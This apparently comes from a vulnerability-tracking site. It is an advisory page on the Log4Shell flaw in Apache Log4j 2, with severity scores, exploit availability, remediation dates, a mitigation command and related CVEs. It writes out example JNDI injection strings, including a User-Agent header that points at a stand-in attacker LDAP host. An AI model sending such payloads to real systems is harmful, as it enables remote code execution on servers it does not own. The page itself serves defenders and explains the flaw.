CVE-2021-44228Critical· 10.0▾ Hadal⚠ Exploited in the wild0dayPoC availableLog4j 2 evaluates ${jndi:...} lookups in logged strings, allowing an attacker who controls any logged value to load and execute remote code via LDAP/RMI. Trivial to exploit, ubiquitous, and mass-exploited within hours of disclosure.
▾ Hadal zone — Critical and actively exploited (CISA KEV / 0day)
impact 55 · likelihood 20 · exploitation 25 · ransomware 5
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 4 sources. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Sep 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Federal remediation due Dec 24, 2021
100%
Exploit-DB · 469 GitHub repos · Metasploit ×5 · Nuclei ×1 (last check)
Added to the CISA catalog on Dec 10, 2021. Federal remediation due Dec 24, 2021. View catalog ↗
Apache Log4j 2 supports message lookups, including a ${jndi:...} form. When an
attacker-controlled string containing ${jndi:ldap://attacker/x} is logged, Log4j
resolves the JNDI reference, fetches a remote class, and executes it — full
unauthenticated remote code execution.
Because applications routinely log untrusted input (User-Agent, headers, form fields, usernames), the attack surface is enormous.
User-Agent: ${jndi:ldap://attacker.example/a}
Any code path that logs the header triggers the lookup.
All 2.0-beta9 through 2.14.1. The complete fix is 2.17.1 (earlier 2.15/2.16
patches were incomplete — see CVE-2021-45046, CVE-2021-45105).
JndiLookup class —
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.jndi: strings and unexpected outbound LDAP connections.Connected by shared product, vendor, weakness, or advisory.
CVE-2021-23758High· 8.1All versions of package ajaxpro.2 are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.
CVE-2020-0618High· 8.8A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability'.
CVE-2021-26857High· 7.8Microsoft Exchange Server Remote Code Execution Vulnerability
CVE-2017-5645Critical· 9.8In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitr…
CVE-2015-6420Critical· 9.8Serialized-object interfaces in certain Cisco Collaboration and Social Media; Endpoint Clients and Client Software; Network Application, Service, and Acceleration; Network and Content Security Devices; Network Management and Provisioning…
CVE-2020-9484High· 7.0When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use…